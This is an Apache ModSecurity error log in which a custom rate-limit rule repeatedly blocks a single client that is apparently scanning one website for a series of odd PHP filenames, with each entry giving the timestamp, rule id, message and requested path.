[Sun Apr 26 15:20:38.482288 2026] [:error] [pid 22573:tid 22620] [client 20.215.250.178:26325] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/users.php"] [unique_id "ae28xnB3EmQlD4yKUt-3sQAAAY0"]
[Sun Apr 26 15:20:38.814439 2026] [:error] [pid 16515:tid 16537] [client 20.215.250.178:26315] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/users.php"] [unique_id "ae28xltDrUmgHSvpuLwZLAAAAlM"]
[Sun Apr 26 15:20:39.107792 2026] [:error] [pid 16515:tid 16518] [client 20.215.250.178:26317] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/users.php"] [unique_id "ae28x1tDrUmgHSvpuLwZLQAAAkA"]
[Sun Apr 26 15:20:39.775494 2026] [:error] [pid 8390:tid 8471] [client 20.215.250.178:26334] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/users.php"] [unique_id "ae28x4GPtFK_i9p5yxT74gAAAJQ"]
[Sun Apr 26 15:20:39.834355 2026] [:error] [pid 16515:tid 16535] [client 20.215.250.178:26333] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/users.php"] [unique_id "ae28x1tDrUmgHSvpuLwZLwAAAlE"]
[Sun Apr 26 15:20:40.503093 2026] [:error] [pid 8385:tid 8441] [client 20.215.250.178:25907] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/users.php"] [unique_id "ae28yDOy7_J84Wx3-oyyDgAAAFE"]
[Sun Apr 26 15:20:40.545212 2026] [:error] [pid 16515:tid 16520] [client 20.215.250.178:25832] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/public/vx.php"] [unique_id "ae28yFtDrUmgHSvpuLwZMgAAAkI"]
[Sun Apr 26 15:20:41.168590 2026] [:error] [pid 8491:tid 8501] [client 20.215.250.178:26359] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/public/vx.php"] [unique_id "ae28ySq7I7e6CJooQM3jCAAAAMI"]
[Sun Apr 26 15:20:41.446490 2026] [:error] [pid 16574:tid 16605] [client 20.215.250.178:26393] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/public/vx.php"] [unique_id "ae28yX5MsX8wRQr99nYfqAAAA0E"]
[Sun Apr 26 15:20:41.720756 2026] [:error] [pid 8390:tid 8455] [client 20.215.250.178:25817] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/public/vx.php"] [unique_id "ae28yYGPtFK_i9p5yxT75QAAAIQ"]
[Sun Apr 26 15:20:42.213285 2026] [:error] [pid 8390:tid 8464] [client 20.215.250.178:25417] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/public/vx.php"] [unique_id "ae28yoGPtFK_i9p5yxT75wAAAI0"]
[Sun Apr 26 15:20:42.293012 2026] [:error] [pid 8390:tid 8453] [client 20.215.250.178:26426] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/public/vx.php"] [unique_id "ae28yoGPtFK_i9p5yxT76QAAAII"]
[Sun Apr 26 15:20:42.989521 2026] [:error] [pid 8383:tid 8408] [client 20.215.250.178:26326] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/public/vx.php"] [unique_id "ae28ytFa2S3EsATMdWP1jAAAAAs"]
[Sun Apr 26 15:20:43.106556 2026] [:error] [pid 8390:tid 8474] [client 20.215.250.178:25797] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/public/vx.php"] [unique_id "ae28y4GPtFK_i9p5yxT76wAAAJc"]
[Sun Apr 26 15:20:43.681442 2026] [:error] [pid 8491:tid 8521] [client 20.215.250.178:26415] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/elp.php"] [unique_id "ae28yyq7I7e6CJooQM3jDAAAANY"]
[Sun Apr 26 15:20:43.809814 2026] [:error] [pid 8491:tid 8518] [client 20.215.250.178:25484] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/elp.php"] [unique_id "ae28yyq7I7e6CJooQM3jDQAAANM"]
[Sun Apr 26 15:20:44.279784 2026] [:error] [pid 8390:tid 8469] [client 20.215.250.178:26316] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/elp.php"] [unique_id "ae28zIGPtFK_i9p5yxT77QAAAJI"]
[Sun Apr 26 15:20:44.617103 2026] [:error] [pid 8390:tid 8461] [client 20.215.250.178:25893] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/elp.php"] [unique_id "ae28zIGPtFK_i9p5yxT78AAAAIo"]
[Sun Apr 26 15:20:44.837533 2026] [:error] [pid 8390:tid 8472] [client 20.215.250.178:26389] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/elp.php"] [unique_id "ae28zIGPtFK_i9p5yxT78gAAAJU"]
[Sun Apr 26 15:20:45.304500 2026] [:error] [pid 22573:tid 22615] [client 20.215.250.178:25808] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/elp.php"] [unique_id "ae28zXB3EmQlD4yKUt-3swAAAYg"]
[Sun Apr 26 15:20:45.389365 2026] [:error] [pid 22573:tid 22611] [client 20.215.250.178:26330] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/elp.php"] [unique_id "ae28zXB3EmQlD4yKUt-3tQAAAYU"]
[Sun Apr 26 15:20:45.954384 2026] [:error] [pid 22573:tid 22616] [client 20.215.250.178:26329] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/elp.php"] [unique_id "ae28zXB3EmQlD4yKUt-3uQAAAYk"]
[Sun Apr 26 15:20:45.961643 2026] [:error] [pid 22573:tid 22623] [client 20.215.250.178:26401] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zc-243.php"] [unique_id "ae28zXB3EmQlD4yKUt-3ugAAAZA"]
[Sun Apr 26 15:20:46.506966 2026] [:error] [pid 22572:tid 22581] [client 20.215.250.178:25914] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zc-243.php"] [unique_id "ae28ztXOViWCFU-pZzDuBAAAAUM"]
[Sun Apr 26 15:20:46.747985 2026] [:error] [pid 22573:tid 22609] [client 20.215.250.178:26366] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zc-243.php"] [unique_id "ae28znB3EmQlD4yKUt-3vwAAAYM"]
[Sun Apr 26 15:20:47.282664 2026] [:error] [pid 22573:tid 22629] [client 20.215.250.178:25815] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zc-243.php"] [unique_id "ae28z3B3EmQlD4yKUt-3wwAAAZY"]
[Sun Apr 26 15:20:47.472103 2026] [:error] [pid 22572:tid 22594] [client 20.215.250.178:25917] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zc-243.php"] [unique_id "ae28z9XOViWCFU-pZzDuCwAAAVA"]
[Sun Apr 26 15:20:47.818531 2026] [:error] [pid 8390:tid 8463] [client 20.215.250.178:26304] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zc-243.php"] [unique_id "ae28z4GPtFK_i9p5yxT7-QAAAIw"]
[Sun Apr 26 15:20:48.293146 2026] [:error] [pid 8390:tid 8474] [client 20.215.250.178:25861] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zc-243.php"] [unique_id "ae280IGPtFK_i9p5yxT7-gAAAJc"]
[Sun Apr 26 15:20:48.522040 2026] [:error] [pid 8390:tid 8460] [client 20.215.250.178:25906] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zc-243.php"] [unique_id "ae280IGPtFK_i9p5yxT7_AAAAIk"]
[Sun Apr 26 15:20:49.076861 2026] [:error] [pid 8390:tid 8473] [client 20.215.250.178:25792] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bkyac.php"] [unique_id "ae280YGPtFK_i9p5yxT7_wAAAJY"]
[Sun Apr 26 15:20:49.433678 2026] [:error] [pid 16574:tid 16639] [client 20.215.250.178:25867] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bkyac.php"] [unique_id "ae280X5MsX8wRQr99nYfqQAAA1Y"]
[Sun Apr 26 15:20:49.624270 2026] [:error] [pid 22573:tid 22628] [client 20.215.250.178:25408] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bkyac.php"] [unique_id "ae280XB3EmQlD4yKUt-3ygAAAZU"]
[Sun Apr 26 15:20:50.109405 2026] [:error] [pid 13197:tid 13250] [client 20.215.250.178:25845] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bkyac.php"] [unique_id "ae280t3kktFKdSxTrBu_vgAAAtI"]
[Sun Apr 26 15:20:50.341168 2026] [:error] [pid 22573:tid 22616] [client 20.215.250.178:25847] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bkyac.php"] [unique_id "ae280nB3EmQlD4yKUt-3ywAAAYk"]
[Sun Apr 26 15:20:51.015418 2026] [:error] [pid 16515:tid 16530] [client 20.215.250.178:26310] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bkyac.php"] [unique_id "ae2801tDrUmgHSvpuLwZNAAAAkw"]
[Sun Apr 26 15:20:51.211792 2026] [:error] [pid 16515:tid 16519] [client 20.215.250.178:26429] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bkyac.php"] [unique_id "ae2801tDrUmgHSvpuLwZNQAAAkE"]
[Sun Apr 26 15:20:51.611542 2026] [:error] [pid 22572:tid 22599] [client 20.215.250.178:25901] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wziar1.php"] [unique_id "ae2809XOViWCFU-pZzDuFQAAAVU"]
[Sun Apr 26 15:20:51.833143 2026] [:error] [pid 16515:tid 16535] [client 20.215.250.178:25503] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bkyac.php"] [unique_id "ae2801tDrUmgHSvpuLwZOAAAAlE"]
[Sun Apr 26 15:20:52.429018 2026] [:error] [pid 22573:tid 22629] [client 20.215.250.178:25442] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wziar1.php"] [unique_id "ae281HB3EmQlD4yKUt-3zwAAAZY"]
[Sun Apr 26 15:20:53.191317 2026] [:error] [pid 22573:tid 22619] [client 20.215.250.178:25533] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wziar1.php"] [unique_id "ae281XB3EmQlD4yKUt-30gAAAYw"]
[Sun Apr 26 15:20:53.246908 2026] [:error] [pid 22573:tid 22611] [client 20.215.250.178:25891] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wziar1.php"] [unique_id "ae281XB3EmQlD4yKUt-30wAAAYU"]
[Sun Apr 26 15:20:54.302492 2026] [:error] [pid 22573:tid 22609] [client 20.215.250.178:25871] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wziar1.php"] [unique_id "ae281nB3EmQlD4yKUt-32AAAAYM"]
[Sun Apr 26 15:20:54.324525 2026] [:error] [pid 22573:tid 22618] [client 20.215.250.178:26388] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wziar1.php"] [unique_id "ae281nB3EmQlD4yKUt-32QAAAYs"]
[Sun Apr 26 15:20:55.414772 2026] [:error] [pid 13137:tid 13161] [client 20.215.250.178:25804] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wziar1.php"] [unique_id "ae28190RB4J0o4h5neFGlgAAAhQ"]
[Sun Apr 26 15:20:56.416347 2026] [:error] [pid 8390:tid 8474] [client 20.215.250.178:25897] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wziar1.php"] [unique_id "ae282IGPtFK_i9p5yxT8EQAAAJc"]
[Sun Apr 26 15:20:56.515397 2026] [:error] [pid 22572:tid 22592] [client 20.215.250.178:25869] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/public/oLEzRVqmJJPFSucdefault.php"] [unique_id "ae282NXOViWCFU-pZzDuJAAAAU4"]
[Sun Apr 26 15:20:57.469689 2026] [:error] [pid 8390:tid 8461] [client 20.215.250.178:25825] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/public/oLEzRVqmJJPFSucdefault.php"] [unique_id "ae282YGPtFK_i9p5yxT8EgAAAIo"]
[Sun Apr 26 15:20:57.681399 2026] [:error] [pid 22572:tid 22586] [client 20.215.250.178:25826] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/public/oLEzRVqmJJPFSucdefault.php"] [unique_id "ae282dXOViWCFU-pZzDuKAAAAUg"]
[Sun Apr 26 15:20:58.436909 2026] [:error] [pid 22572:tid 22584] [client 20.215.250.178:25878] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/public/oLEzRVqmJJPFSucdefault.php"] [unique_id "ae282tXOViWCFU-pZzDuKwAAAUY"]
[Sun Apr 26 15:20:58.542803 2026] [:error] [pid 22572:tid 22588] [client 20.215.250.178:26370] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/public/oLEzRVqmJJPFSucdefault.php"] [unique_id "ae282tXOViWCFU-pZzDuLAAAAUo"]
[Sun Apr 26 15:20:59.017111 2026] [:error] [pid 22572:tid 22587] [client 20.215.250.178:25885] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/public/oLEzRVqmJJPFSucdefault.php"] [unique_id "ae2829XOViWCFU-pZzDuMQAAAUk"]
[Sun Apr 26 15:20:59.175275 2026] [:error] [pid 8390:tid 8471] [client 20.215.250.178:25438] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/public/oLEzRVqmJJPFSucdefault.php"] [unique_id "ae2824GPtFK_i9p5yxT8EwAAAJQ"]
[Sun Apr 26 15:20:59.648301 2026] [:error] [pid 22573:tid 22623] [client 20.215.250.178:26427] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/7logs.php"] [unique_id "ae2823B3EmQlD4yKUt-33AAAAZA"]
[Sun Apr 26 15:21:00.368067 2026] [:error] [pid 8390:tid 8467] [client 20.215.250.178:25812] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/public/oLEzRVqmJJPFSucdefault.php"] [unique_id "ae283IGPtFK_i9p5yxT8FQAAAJA"]
[Sun Apr 26 15:21:00.477332 2026] [:error] [pid 22572:tid 22585] [client 20.215.250.178:26378] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/7logs.php"] [unique_id "ae283NXOViWCFU-pZzDuNQAAAUc"]
